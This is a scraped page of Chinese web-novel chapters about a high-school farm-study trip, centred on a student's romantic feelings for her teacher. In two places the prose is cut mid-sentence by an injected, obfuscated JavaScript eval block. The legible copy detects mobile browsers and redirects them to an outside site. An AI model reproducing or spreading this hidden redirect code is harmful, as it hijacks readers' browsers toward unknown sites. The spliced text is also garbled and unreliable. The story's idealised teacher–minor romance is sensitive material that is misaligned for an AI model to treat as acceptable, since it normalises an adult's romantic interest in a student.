沉静如海[1] 由白鞋清…… [世人不知,表面平静的浪潮,是如何在暗礁之下纠缠得难舍难分。 只因我纵容那腔汹涌,蔓延在错误的时间。 沉默之间,脱离深海的相思,几欲击穿岩石。] ——评《沉静如海》 已快步入夏至,燥热揉在风中,将绿叶吹得低了头,不似春日的樱粉与淡黄,夏日像是一卷浓墨重彩的油画。 在这片氛围里,美则美矣,却让少年少女本就跃动的心,活跃得过了头,偶尔心烦。 天空一碧如洗,更加无法遮挡那片倾泻而下的明媚。 在这样晴朗的天气下,开始了高中学段只此一次,为期十天的学农活动。 基地承担了师大附中和四中高二级部的学农任务,因为是市区最好的两所高中,学校的高层不免暗暗较劲,由老师下达给学生。 学农基地在郊区,大约两个小时的车程,赵栩又有晕车的毛病。 就像普通的长途大巴,司机头顶上还有几个位置,她自然而然就坐在了最前面。 吃了晕车药后,她打算小睡一会儿,祁老师的训话声从车子中段向两边延伸,扰得她一时难以入睡。 赵栩本想晒晒太阳,刚把脸朝向右侧,入眼的就是一张笑嘻嘻的大脸,即自称晕车的徐仲仪。 他本来火力就旺,她真不愿靠着他,于是面无表情转了回去。 而在她左侧,隔着一个过道的,是秦暮野。 他那侧的窗帘已经全然拉上,此时的他,正闭着眼浅眠,英俊的侧脸罩在一方阴影里,神情从容。 而露出的侧脸上,有一点清晰的淡粉,宛如落樱摇曳,坠落在雪满之日,映在出尘的清冷里却不失可爱。 赵栩把侧脸靠在椅背上,借着睡觉的姿势,静静地望着他,视线不免落在高挺的鼻梁上。 秦暮野其实没有睡着,似乎是注意到了来自身旁的注视,自然地转了个身,脸朝内侧,躲过了灼灼的视线。 赵栩将手指放在椅背上,见他如此爽快地转过身去,忍不住画个圈圈诅咒他。 说起来,可能是她想多了,她总觉得秦暮野在躲她。 妈妈早晨送她来学校的时候,千叮咛万嘱咐,一定要对老师表示感谢,她那晚被送回家时睡得正沉,只知道是秦暮野开车把她送到楼下,剩下的事情一无所知。 清早集合的时候,她本想向他表示感谢,可是她差几步走到他跟前,他就不动声色绕到树后面,去找同办公室的男老师聊天。 才上车时,她因为晕车被分到了前面,而秦暮野恰好就坐在她一道之隔,她正要开口表达感谢。 谁料他像是有所预感,直接偏过眼神,开始看手机。 赵栩将那晚的点滴一帧一帧过脑,生怕错漏什么不妥之处,然后暗自分析起来: 如果是偷偷他摸睫毛的事被发现了,那他在车上就应该不理睬她,而不是同她好言好语讲那么多。 再者……赵栩垂下眼睑,暗自思索,眼里的波光亦随之难安。 城郊结合部的路径分外颠簸,轮胎碾压在土路上,车子剧烈晃动,咣当一声巨响,车身一上一下。 赵栩怀揣着心事,注意力不太集中,待她反应过来时,身子随着车的摇晃,竟脱离了座椅,腾空而起一寸。 正当她要向前扑去,一只温热的大手牵住了她的胳膊,把她轻松向后一带,扯回了座位上。 “怎么不系安全带?”徐仲仪下意识靠近她,责怪的语气中带着关心,颇有几分铁汉柔情的即视感。 这场颠簸来得也快去得也快,赵栩一时愣神,才明白过来发生了什么。 “谢谢你。”她本能性地向后倚,别开那道炽热的视线,以远离对方。 徐仲仪笑了笑,朝秦暮野处瞟了一眼,故作漫不经心地说:“你一直往那边侧,难怪重心会不稳,正过来坐就好了。” 言外之意,你总是看旁边,才会差点摔下座位。 赵栩本来心情就一般,此刻算是找到了发泄口,故意说:“你长得丑才不爱往你那别侧,行了吧?” “都说高中学习压力太大了,人会变丑,那我争取未来长得好点。”徐仲仪笑嘻嘻的,不仅不生气,为着赵栩愿意和他多说句话,尾巴快要翘到天上去了。 “我没见你有压力。” “怎么没有呢?你这么说我可要伤心了。” “行行行你说有就有。” “你刚才的话是在内涵我不努力,我伤心了,你要给我道歉!” “……” 两人你一言我一语,声音不大,在一旁的秦暮野听来,是扰的他无法入睡的噪音。 可能是车里空气不流通,旁边又吵,他顿觉胸口发闷。 秦暮野正过身子来,睁开眼睛,从身前的包里摸耳塞。可是他的心不静,包里东西又多,翻了一分多钟还没找到。 翻到最后,他在书包的隔层,发现了一瓶糖,于是倒了两颗在手上,吃了下去。 说起来,这瓶糖也算是有来头。 几个月前,他送赵栩去医院时,赵栩趁他去取咖啡的时候,把安眠药里掺上了糖果。 至此之后,他再也没有吃过安眠药,顺便把里面的糖一粒一粒挑了出来。 …… 学农基地坐落在山村里,眺望出去,净是一望无际的农田与绰约的远山,方圆几里没有人家,有的只是人造的实践中心。 建在如此偏僻的地方,可能是防止学生偷跑回城市。 学农基地本身的设施比较简单,一进大门,手边只有一个大的构筑物,兼食堂、礼堂、自习室为一体。 等大巴车开到学农基地,就已经快到午饭时间了,两个学校的学生参加了简单的开营仪式,就开始吃午饭。 午饭时间对于四中的学生而言尤为宝贵,他们饭后只有短暂的午休时间,就要开始下午的实践活动。 可是对着这一盘菜,再好的胃口,再饿的人,都会郁闷。 “这怎么能吃下去?”韩明月盯着大盘里的食物,暗暗叫苦,犯了选择困难症。 不能说是选择困难症,因为都很难吃,没得选。 豆芽菜炒豆腐、青椒炒肉但几乎没肉、西红吃炒蛋但几乎没蛋、清水炒油菜、土豆炒芸豆……甚至还有香菜炒蛋这种反人类的食物。 明明有五六道菜能选,她愣是一道也不想吃。 朱临清学着校领导的语气,粗着嗓子说:“你们来这里不是来游玩的,是来吃苦的,你们在学校里舒坦日子过多了,也该学学什么叫忆苦思甜。” “唉,离开爸爸妈妈谁还把我当小孩。”韩明月故作伤感,鉴于后面还有其他同学排队取餐,她不再耽搁,挖了一勺番茄,又夹了一大夹子榨菜,拿了两块馒头。 朱临清取完餐后,见对方停在原地张望,顺着她的视线看去,不解地问:“刚才开会的时候你就抻个脖子到处看,有什么好看的?” 韩明月踮着脚在人堆里搜索,一双眼睛使不过来,分神回答:“找帅哥。” “师大附中有个男生长得可好可好看了,咱两个学校好不容易相聚一次,这可得让我见见本尊。” 韩明月站稳之后,冲朋友挑挑眉毛,笑得狡黠,“我掐指一算,我觉得他的面相和栩栩很配,说不定两校友谊得靠我拉根红线呢。” 朱临清起初觉得,韩明月可能是被极品前男友刺激到了,看头小猪都眉清目秀,自然评不出什么真帅哥。 可她转念回想,脑海里依稀浮现出一张帅脸,问道:“是不是和秦老师长得挺像那个?” “就他就他!”韩明月环视一圈,忽然发现情况,指向她们的桌子,惊讶地捂住嘴巴,“他他他他,是和栩栩在说话吗?” “天哪,这都不需要我出场了吗?” 韩明月还在饶有兴味地看戏,身旁响起熟悉的低沉嗓音。 “借过一下。” 两人同时抬头,仰头看向数学老师,讪讪地闪开。 秦暮野听到了方才那句“有人和他长得像”,端着盘子,不禁驻足,顺着韩明月手指的刚刚手指的方向看去。 他仿佛是在笑,可是漆黑的瞳仁藏在浓密的眼睫之下,一时难辨真正的情绪。 …… “抱歉抱歉,真的抱歉。” 赵栩站在男生身旁,俯视着男生好看的后脑勺,不免自责道歉。 男生正蹲下擦拭着自己的白鞋,上面沾了好大一块番茄汤。 这还要回溯到几分钟前。 赵栩其实早早就打好饭了,她倒是不挑食,只有不吃香菜一条铁律。 她打了番茄炒蛋,但不知是谁那么不讲究,把打菜的勺子混用,以至于番茄中混入了香菜炒蛋,难为她一点一点往外挑。 她正在挑着香菜,突然有人撞在了她的手臂上,赵栩手中的勺子一抖,直接连勺带上面的食物掉在了地上。 而那么大一块番茄,正正好落在一只白鞋上。 赵栩捡起勺子,然后朝旁边看去,谁料撞她胳膊的人早已不见踪影。 然而隔她几步远外,是不幸被番茄染了鞋的受害者。 虽然不是她的过错,但毕竟也与她有关。 见男生正蹲着用纸擦鞋,她继而俯下身去,递过去一张湿巾。 “不好意思,把你的鞋弄脏了。” 男生听到了她的道歉之语,仰起头来,浅笑着摇摇头,“没关系。” 纵然是赵栩这样对颜值评判阈值极高的,都不得不承认,面前的男生长得极为出众。 一双精致的凤眼,清澈明朗,却有着若有若无的疏离,鼻梁英挺,唇形薄而优美。发如墨玉,露出的一截脖颈白皙干净,轮廓分明的喉结,随着他说话而动。 邵渝擦完鞋后,站了起来,接近一米九的身高忽然立在她面前,隔绝了四方注视的视线。 事实证明,长得好看的人,在哪儿都会受到额外的关注。 赵栩看向那双锃亮的白鞋,污渍挂在上面格外显眼,鞋子又是透气设计,想必汤汁已经渗透到了袜子上,更加难刷。 想到这里,她还是感到有点愧疚,面露难色。 邵渝本来要走,看到她为难的表情,又止住脚步,开解道:“别放在心上,也不是你的问题。”接着,他转过身去问旁边的男生,“你带白鞋清洗剂了吗?” 旁边带着眼睛的男生,长相清秀,斯斯文文的,闻言立即摇了摇头,“我借出去了,估计今天还不了。” “好吧谢谢。”邵渝无奈笑笑,向赵栩微笑点点头后正要离开,却被叫住了。 “我那里有白鞋清洗剂,如果你需要的话……”赵栩艰难地开口,她并不善于和陌生人交流,故而稍显局促。 她在等待回答的时候,眼神不禁四处转转。 越过匆匆来往的人影,哗然的喧闹声,她总想寻找一方安宁,目光又一次抵达了那双无波无澜的桃花眼。 两道视线仿佛有吸引力似的,总能碰上。 对方随即移开视线,而她心间一动,顿生一计。 邵渝思虑稍许,怕给她造成不便,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两校的校服不同,韩明月用犀利的目光一个个遴选,不禁吐槽:“我怎么觉得师大附中的帅哥比咱学校多呢?看来当初就不应该贪图离家近。” 赵栩忍不住笑出声,正要反驳,她们身后多了个高挑的身影,那人身上独有的阴冷气质,让两人不敢说话。 韩明月都不用回头,就知道是冤家路窄。 “你怎么在这儿?” 柯明扬看到前女友,不由得驻足,目光一沉。 明明不带丝毫感情,却把两个女生听出一身鸡皮疙瘩。 韩明月翻了个白眼,怀疑这个人就是来克她的,本想后退一步,但心想不能落了下风。 “男生宿舍你家开的?我怎么不能来?”她轻笑一声,背过手去煞有介事地说:“有一段日子见不到我的小学弟喽,来这儿看看有没有代餐让我解一下相思之苦。” 柯明扬微微眯眼,嘴角扯出一丝讥诮的笑,眼色阴郁浓稠,如同天上忽而压阵的阴云。 “起风了,待会儿你们出去打排球,当心被球砸到。” 他说完这句意味不明的话,便缓步离去,人虽走远,原地仍留着丝丝凉意。 “神经病吧。”韩明月斜视了一眼他远去的方向,还想吐槽更多,一个高大的身影从她们身后接近。 秦暮野换掉了上午的正装,穿了一身白T恤和黑色短裤。少年意气十足,混入一群男高当中竟一时分辨不出。 悬在天上的云层飘走,午后阳光像是碾碎的金桔,泼洒在那件白衣上,赠予了他平素不常见的柔和。 赵栩不经意间捏住了袖口,更不小心牵引住了那份心动。 溅出的果汁划过晴空,滴落在女孩的心里,不小心渗出的情绪,都酸酸甜甜的。 “秦老师好!”韩明月向老师打了个招呼,然后激动地看向一旁,示意赵栩,“你的帅哥来咯!” 她注意到了赵栩泛红的脸颊,只以为是被太阳晒的。 “抱歉久等了。”邵渝快步走过来,却在走近赵栩时,顿觉背后发凉。 赵栩回过神来,强颜欢笑,而后把手中的白鞋清洗剂递过去,正正神色,故意说的大声:“没关系,该说不好意思的人是我。” 邵渝没察觉到异常,礼貌笑笑,“那……我该什么时候还给你?” 韩明月看着木愣的男生,怒其不争,“你又没法用意念传达,干嘛不加个联系方式呢?” “嗯?”邵渝不解地抬头,那双狭长好看的眼睛里流露出茫然,眨了眨眼。 就这么直接要女生的联系方式,在他看来没必要而且不礼貌。 赵栩在朋友的疯狂暗示下,也有些懵懂,刚要拿出手机,醒神的木质冷香忽然近了些。 “快到集合时间了。” 秦暮野淡声提醒,随后转身,没有留下一个多余的眼神。 待他走远后,韩明月有些疑惑,“秦老师怎么一直站在这儿?祁老师刚才经过都没多说什么……” 赵栩耸耸肩,眸中闪过扬起一抹意味深长的笑。 墨色的瞳孔里跃起丝丝星火,宛若蜡烛摇曳在幕布上。 秦暮野没有注意到来自身后的凝视,才走出去几步,顿了顿,还想折返回去说些什么。 其实他一直站在那儿,并没有等她们的意思,只是想提醒赵栩,她手里的清洗剂盖子没拧紧,已经洒出来了一点。 但是,当他看到这瓶清洗剂,是她要给别的男生,就打消了提醒的念头。 洒就洒吧。 31. 沉静如海[2] 对不起打…… 午后的阳光与田间的麦苗相接,将黄灿灿的芬芳洒在田野之上,绿满山野融入了云里,滴落在叶片上,构成一幅天然的画卷。 道道沟壑布满土地,看似柔软的草木扎根其中,才避免那份土壤深处的粗犷迸裂而出。 在远离闹市的农田,清新的泥土流连在蝈蝈的长须,向午鸣夏。 因为学校硬性规定,必须要在学农期间进行体育锻炼,祁老师又不想像其他班那样,采用“越野、拉练”这种太麻烦的方式,最终就定为了打排球。 说是打排球,其实没有过于正规的场地,有的只有一片沙地,和一张残破的网。 所幸今日平静无风,要不然小风一起,必然会吹得漫天尘沙。 尽管如此,对于静惯了的学生们,还是不想动弹,三五成群,蹲在地上用树枝画圈圈。 “老师,咱们为什么不拔河跳绳呢?打排球多累啊?”有的同学忍不住抱怨。 “要不咱和一班一样,去折返跑?还是像三班一样,去接力寻宝,平均一千米起跑?” 祁老师觉得这帮学生甚是得便宜卖乖,语重心长地说:“你们平时就在班里坐着,好不容易有机会出来活动活动,珍惜吧。” 以抽红蓝签的方式,先抽出12个人,分成两队。 赵栩抽到签后,叹了一口气,身子犯懒不想动。 她不太喜欢体育运动,本想在旁边做个看客来着。 韩明月见两人一队,连忙上手把人薅起来,干劲十足地说:“别以为我不知道你中考考的是排球,动起来!” 赵栩就这么不情不愿地站起来了,愁得不行,“中考的排球那是垫球,我不太懂规则。”她的目光越过韩明月,看见秦暮野已经站到了她们所在半区的四号位上,她一时语塞,忽然忘记要说什么。 “你就站三号位吧。”韩明月拍了拍她的肩膀,鼓励道:“重在参与嘛,大家都不懂。” “也不是像正式比赛那样,还要换位什么的,打个三局就行。” 赵栩犹豫了几秒,没太有自信地点了两下头,就站到了她的位置上。她抬眼看向左手边的秦暮野,视线悄悄划过那挺拔的鼻梁。 秦暮野似乎发觉了来自身旁的注视,侧过脸去,仍旧是那副淡淡的表情。 而眼中的那方墨潭,似乎掠过一只飞雁。 足可点水,轻舞涟漪。 “对面要发球了。”他提醒道,便目不转睛看向前方。 ——咚咚咚 对面有人把排球拍得震地响,赵栩还在听风,突然被震得回过神来。 一抬头,发现是对面的徐仲仪正目光灼灼地盯着这边,泄愤似的拍着排球。 “徐哥徐哥。”关毅小声提醒,“这是排球不是你的篮球。” “哦。”徐仲仪毫无表情,把球拿回手里,攥着球的手青筋凸起。 然后眼神忽然一变,将球抛到了两米以上,在众人惊讶的眼光中,顺势把球打了出去。 他的手与球接触时的声响,听得人耳膜一震,可想而知击球的力道有多大。 球像一颗炮弹般飞了出去,直直向斜前方 ——也就是对面秦暮野所站的四号位。 从抛到打,只有几秒钟的时间,两边人都没反应过来,球就换了一个半场。 秦暮野凝视着飞过来的球,眯起眼睛,稳稳接住了球,原封不动奉还回去。 赵栩原本还茫然着,听得手腕击球的一声清晰的闷响,球又飞了回去。 她看向秦暮野发红的手腕,甚至依稀可见青紫,有些心惊。 她不禁暗自回想起那球飞来的力道,根本不像是友好打球,倒像是刻意的。 可是他们有什么深仇大恨呢? 除了一开始一球比较突兀,接下来打得既热闹又无序。 虽然在正式比赛中,各站位承担着不同职责。 但是真打起来,大家早就把规则抛之脑后,乱打一气,主打一个谁能接着球谁打,把排球打出了乒羽球的感觉。 赵栩因为不熟悉规则,球都被旁边的人给接了,只是在场上充当气氛组,故而逐渐松懈下来。 “栩栩接球!” 赵栩还在走神,一个球已经悬在头顶上,马上就要砸下来…… 电光火石之间,她深吸一口气,身体深处蓄满力气,扬起手臂,借势落下。 此时秦暮野却快步闪到了她的身前,准备接球,而赵栩接球的掌风已经收不住…… 啪! 清脆一巴掌,拍在了老师的老师的后背上。 周围的加油呐喊声像是被封了嘴,顿时鸦雀无声,同学们先是面面相觑,然后都碍于被打的是老师,想笑而不敢笑。 “噗。” 身后的韩明月捂着嘴,但还是不小心让笑声溢了出来。 这一刻,赵栩想死的心都有了。 都在觉得她这一巴掌下去会打疼他,怎么没人心疼心疼她的手。 拍在布满肌肉的后背上,如同用手削铁,硌得她的手心现在还疼。 秦暮野虽说背部宽而结实,但不设防地挨了一巴掌,加上只穿了一件短袖,背部不免火辣辣的疼。 他轻轻扬起嘴角,扬起一抹无可奈何的笑。 眼底宛如汇集了夏日的风,拂过田野的轻语,明媚温柔。 那阵清风吹起女孩贴在脸颊的发丝,汗水正好顺着脸颊流下,更浸得那张红透的脸,宛如从井水里捞出来的红果子,青涩而倔强。 赵栩都不敢看秦暮野的脸,小声嘟囔了一句“身体不舒服”,就灰溜溜地下了场,故意挑了一个有田埂的地方。 如果她尴尬得想要离开人间,可以顺着有沟的地方钻下去。 这件不大不小的囧事,很快就被一阵又一阵喝彩声压了过去,赵栩起初窘迫到就剩蹲在地上扣土,看到竞争激烈的比赛,也忍不住抬头观看,暂时将其抛之脑后。 大家起初都说不想打排球,可真当打上瘾来,到了时间竟有些恋恋不舍。 高中难得有这样相聚的集体活动,夕阳西下,光影交错,映出了一幅群像青春画卷。 “咱拍个集体照吧。” 祁老师挥手上让各位同学们排排站,“女生在前男生在后。” 赵栩原先蹲在一个角落里当隐形人,还对刚才的事心有余悸,闻言缓缓站起,就被朱临清和韩明月一左一右,架着胳膊拉过去拍照。 她们到的时候,同学们已经把队伍站好了,她们只能蹲在第一二排的边缘。 在泥土的清新、阳光的暖香、人群的汗味各种味道交织中,唯有那阵冷杉香的凛冽最让人心安。 宛如寒地化雪的沉木,凉沁孤傲中不失深沉撩人。 “赵栩你手劲儿够大的,刚才忽的一下,把人吓一跳。”后排的男生忍不住偷笑。 另一个男生也跟着揶揄道:“要不是秦老师长得高,真能被打倒。” 触发了某些不愿提及的尬事,赵栩陡然抬眸,刚消下去的汗又开始冒出,生气之余,装作没听见。 就这么闷着一张脸,照出的集体照肯定也不好看。 不好看就不好看吧,谁让她干了丢脸的事呢,她赌气般地想。 秦暮野淡淡一望,轻轻摇头,以眼神示意两个男生不要再说,然后将视线落向远处一望无际的田野,唇角漾出一丝柔和的笑。 赵栩对上那双含着浅笑的眸子,愣了一秒,忽然破了防,情不自禁笑出了声。 霞光像极了红酒,映在她的侧脸,让人有点醺醺然。 云朵将酒红色的晚霞一饮而尽,天边醉晚,层云摇晃,宛如芳草的一场梦。 “三二一!” 按下快门,定格红叶翩飞,迎风而动。 祁老师拍完照片后,盯着屏幕里相视而笑的两人,拧起眉头,若有所思。 他莫名觉得气氛有点不对,但说不出哪里不对。 “这张没拍好,再拍一张!”祁老师按下心中的异样,又举起了相机。 …… 解散之后,二班结成大部队回学农基地,姐妹三人结伴而行,赵栩心中跃然,脚下的步伐也轻盈不少。 “你咋了?” 韩明月快步跟上去,谁料赵栩要和她们闹着玩似的,加快脚步,非要领先在前。 “秘密。” 赵栩扭头,做噤声手势,便接着大步向阳走去。 朱临清驻足,有话停在嘴边,正要以委婉的形式问出,只见赵栩突然蹲在地上。 “没事吧?” 两人随之蹲在赵栩身边,朱临清摸着她的后背,担忧地问:“栩栩哪里不舒服?” 赵栩使劲将身体重心向下压,把腹部缩在尽可能小的范围里,以减轻阵痛。 “算算日子,我好像……来姨妈了。” 她说话的时候,腹部的酸疼再度袭来,似有几根钩子,轻轻划过痛觉末梢,细密的疼痛很快遍布全身,汗水再度打湿了额发。 赵栩并没有痛经的毛病,但偶尔会在生理期前两天腹部隐痛,乍然蹦蹦跳跳,催化了疼痛。 还好离学农基地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14666019|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有几步远,在朋友的搀扶下,赵栩回到了宿舍,及时喝上了一杯热水。 在其身后,秦暮野身边围了一帮男生,都在叽叽喳喳闹个不停,从几岁学会走路问到什么时候结婚。 他和男生交流的同时,目光忍不住落在了前方那个虚弱的背影,眸光沉沉。 彼时矛盾的风再度吹起,树叶左右摇曳,哗然作响,不知要飘向何方。 终究是吹向她的一缕,占尽上风。 “我要出去办点事,先走了。” 秦暮野和男生们道别后,为着交通不便,只得迎着未烬的热浪,徒步走到了三公里外的商店。 中途有数次想要返回,他的脚步都次次踏碎原则的薄冰。 所有的顾虑,都在一句“算了”当中烟消云散。 …… *彩蛋男澡堂子 晚间时分,学生尚未下自习,澡堂内只有秦暮野一人。 为着下午最热的时候,才打完排球又走了几里地,身上早已被汗水浸透。 水流倾泻的声音,回荡在空空如也的浴室内,男人沐浴在缭绕的雾气中,富有力量感的肌肉若隐若现。 待洗去了一天的疲惫,窸窸窣窣的声音由远及近,秦暮野才关掉淋浴头,静听片刻,便判断出学生们下晚自习了,有一部分人已经进来了。 还好浴室的设计还算人性化,不但有隔间,还有帘子可以遮挡。 他的衣服在更衣室,正当他整理洗浴用品时,外面的吵闹声忽然变大,刺耳的笑声像极了人类返祖。 猴叫般的起哄声越来越明显,而且隐有向他靠近的趋势。 秦暮野眉头微皱,心里升起了一阵不好的预感,连忙扯过浴巾先遮挡。 果然他所料不错,他前一秒刚裹上浴巾,下一秒他的帘子就突然被扯开。 只见是二班和七班的男生,联合起来想要逗老师玩。 这帮男生看似已经是高中生了,实际上没有经过社会的毒打,心智层面仍保留着“比比谁个头大”“比谁尿的远”,诸如此类的幼稚想法。 男生们一个一个光着膀子,站在隔间外大眼瞪小眼,嘿嘿傻笑,没看到想看到的,又不免失望。 “老师,你也太拿我们当外人了吧。”一个男生挤眉弄眼说道。 另一个男生嬉皮笑脸,“老师您待会儿要不要和我们一起去大浴室洗,增进感情。” 所谓大浴室,就是联排浴头,没有任何遮挡的原始澡堂子。 “不用了,我洗完了。”秦暮野甚是无奈,礼貌笑笑算了。 他拿着洗漱篮才往外走了两步,就感受到了来自男生们的注视。 尤其是那些目光自上而下将他打量,让他下意识捂紧了浴巾,断绝了某些人想要拽下来的念头。 该说不说,来自同性间的欣赏绝对是客观的,男生们盯着老师的身材,在惊叹的的同时,把那些个坏主意给憋了回去。 秦暮野的身上只围了一条白色的浴巾,上身肌肉精壮紧实,腰腹处线条有力。 没来得及擦干的水珠,自腹肌滚落,没入了浴巾。 “咦?”一个男生发现了秦暮野肩膀后,似有一个巴掌印,不免疑惑。 不大的巴掌印呈红粉色,烙在那结实的肩背上,像极了涂抹的胭脂,暧昧非常,不由得让人浮想联翩。 “哦~” “咦~” 男生们都发现了肩后清晰的巴掌印,又开始猴叫唤,咿咿呀呀闹个不停,吵得秦暮野头疼。 他刚欲辩解,热心市民关毅正好搭着毛巾路过,替他解释:“这是我们班赵栩打的。” 解释不如不解释,男生们面面相觑,从这句简短的回答里,发散的思维受阻,澡堂里陷入了诡异的平静。 “能不能把话说全了。”徐仲仪不免气急,一想到这么多光着膀子的大男人,此刻心里在默念赵栩的名字,他的心里就很不爽。 “下午打排球不小心打到秦老师了,就这样。” 他掀起眼皮,看向对面之人,瞳孔覆上一层雾气,愈发显得幽深阴沉,毫不掩饰眼底的敌意。 很巧,秦暮野也在看他,处变不惊的脸上浮现出一丝冷笑,快到好似不曾来过。 他意识到,在背后议论女生很不礼貌,在澡堂尤为不礼貌。 “快点洗吧,马上就要查房了。”秦暮野留下这句嘱咐,从容离去。 直至背过身去,他的唇角微动。 可能是今天的排球比赛赢了。 以至于那份好心情,延续到现在。 32. 沉静如海[3] 威胁短信…… 经过了一天的劳累,上午坐长途车,中午和打仗似的吃饭,下午打排球,晚上又马不停蹄地上自习。 对于赵栩来讲,今日的疲惫来源,还要再加上一项“痛经”。 她简单冲了个澡后,已经动弹不得,仿佛一条瞪眼咸鱼,沐浴着灯光,一动不动躺在床上。 “你疯了吧,生理期第一天就洗澡。”上铺的韩明月探出脑袋,责怪中带着担忧。 赵栩把头的位置挪了挪,方便与她对视,有气无力地说:“今天流一身汗,再不洗澡我就要臭了。” 韩明月眨眨眼睛,满脸期待,“你什么时候去拿清洗剂啊?” 潜台词:你什么时候能再和邵渝见面啊? 赵栩目光愣直,大脑已经停摆了,差点都没想起邵渝是谁。 “嗯……再说吧。”此时她只想躺平,再惊艳的帅哥都无法让她恢复活力。 赵栩见她笑得嘴角都放不下来,不禁好奇:“你在干嘛?在和哪个帅哥聊天?” 韩明月宝贝似的捧着手机,摇头晃脑,难掩喜色。 “和我的吴明恩小学弟。” “嗯?”赵栩睁大眼睛,尾音随之上扬。 自运动会之后,两人就渐渐熟了起来,尤其是小学弟分外殷勤,经常没话找话,嘘寒问暖,诸如:学姐,学农那儿的饭好吃吗? 学姐,这两天郊区降温了,多穿点衣服。 学姐,你觉得地理和生物哪个简单点?马上就要分科了有点纠结。” 面对这么个乖巧的小学弟,尤其是又帅又乖巧的小学弟,让韩明月在一声声学姐中迷失了自我。 动心到还不至于,但充其量只算有点好感,尤其是有柯明扬那么个极品在前。 马上就要迎来第二春的韩明月,此刻更是顿感得没边了。 她哪里知道,自己身边多了个可心人的同时,下铺的好朋友却饱受糟心人的苦恼。 快到查房的时间了,同寝室外出洗澡的女生也结伴回来了。 学农宿舍不比学校,是八人寝大房间。 “栩栩你咋了?”几名女生进来后,看到赵栩气色不是很好,连忙走到她身边,关心地问。 大家都围在赵栩的床前,而她精神怏怏。 眼前这一幕,给了她一种马上就要不久于人世的错觉。 “我没事。”赵栩赶忙坐起来,挤出笑容,让自己看起来没那么沉闷。 一个女生提议:“离熄灯还有半个多小时呢,我们玩真心话大冒险吧!” “好啊好啊。” “好!” 赵栩其实没那么难受了,可肚子还是隐隐作痛,但还是笑着点点头,表示答应。 好不容易接着学农的机会出来玩一趟,她不想扫了大家的兴。何况她也觉得挺有意思的。 规则是,被勺子粗细的两端所指的人,后者从真心话或者大冒险中出题,前者根据指令去做,如果做不到就有相应惩罚。 那如何证明说得是不是真心话呢?大家只能事先说好: 谁如果说谎了,就心想事不成。 八个女生坐在垫子上围成一圈,不知是谁从哪儿找了个勺子,开始在地上转。 勺子转得飞快,旋了好几圈才停下来,最终粗的一端指向了韩明月。 提问的人,是班里情感经历比较丰富的女生,但鉴于她和韩明月不是很熟,思虑几秒,问了个简单的问题: “用三个词形容你的前男友。” 处在青春期的男生女生,私下里聊天避免不了两性话题,这个问题倒在大家的意料之中,只是韩明月听到“前男友”三个字,笑容立马消失了。 如同鞋底板粘上口香糖般糟心,忍不住露出嫌弃的表情。 女生见她皱着眉头,本想换个问题,韩明月轻叹口气,皮笑肉不笑。 “神经,脑残,有病。” 一言以蔽之,不是什么好东西。纵然柯明扬长得确实不错,也能因为他偏执怪异的性格,让她看不顺眼。 “额……不好意思,我们开始下一轮吧。”众人尴尬笑笑,问问题的女生也得知自己提了一个不太好的问题,转而去伸手转勺。 这一次,勺子粗的一端指向了赵栩,另一端指向了上一个苦主韩明月。 韩明月这次可扬眉吐气了,把前男友的糟心事抛之脑后,开始审判好友。 一想到赵栩这阶段举止有点反常,就算如她这般粗线条的人,都能品出不对来。 “我问你嗷,你是不是有喜欢的男生了?” 朱临清原本对这类游戏参与感不强,闻言竖起耳朵,用犀利的目光盯着朋友的脸,企图通过微弱的变化,寻找蛛丝马迹。 顺便印证自己的猜想。 看似无心的询问,实际上是一根牵动条件反射的引线,赵栩心神一晃,脑海中浮现出那张不苟言笑的脸。 顿时展颜而笑,眸中闪过波光浅浅。 答案已经昭然若揭,可是她的脑子偏生没转过弯来,愣愣地说: “这个问题我能不回答吗?” 毕竟如果说出违心的答案,就会“心想事不成”,她还是有点迷信的。 韩明月和朱临清交换个眼神,两脸“你看我们相信吗”。 韩明月没打算放过她,既然问题不答,那就要让她进行点冒险活动了。 —咚咚咚 敲门声响起,是查房的老师到了,几个女生连忙站起,靠门近的朱临清上前开门。 看清门后站的是谁,赵栩下意识捏紧了睡裙,悄悄地整理一下微有褶皱的裙摆。 好像就算离他两米远,都能闻到类似痱子粉味的沐浴露香,让她禁不住背过身去,看向窗外的满月。 眉眼顺势向下而弯,盈满了倾入窗子的柔光。 “都齐了。” 秦暮野扫了一眼,在花名册上做了记录,然后看向朱临清,说: “门口这几个箱子,里面装了一些生活用品,女生如果有不够的,就来你这里取。” 他说完这句话后,没有多作停留,便转身离开。 一共有两个箱子,还是有一点沉的,朱临清把它们拖进来之后,查看里面的东西: 暖宝宝、红糖、卫生巾……还有几盒泡面和饼干。 按理来说学校是不让带泡面的,可能是老师看这里的食物条件实在一般,就给她们加了加餐。 “秦老师也太好了吧。”几名女生蹲在箱子旁边,围成一圈,评价起了箱子里的东西,如数家珍。 “这个炸酱面可太好吃了,秦老师有品。” “他买这么多暖宝宝干嘛?大夏天的也用不上。” 谁说用不上? 赵栩早就悄悄盯了这个箱子好久,终于寻到时机,上手直接抽出一片,贴在了睡裙上写,然后犹嫌不够,又抽了一片,贴在了后腰上。 生理期有人送暖宝宝的含金量,不亚于上厕所有人递纸。 “等会儿,你刚才真心话没回答,所以要大冒险!”韩明月放下饼干盒,忽然意识到什么。 赵栩刚想躺进被窝享受温暖,又被薅了起来,静待她发话,但心里隐有种不好的预感。 “嗯……”韩明月眼珠转了几个来回,看热闹不嫌事大,狡黠一笑。 她贴近赵栩,用只有两人听得见的声音,小声说出。 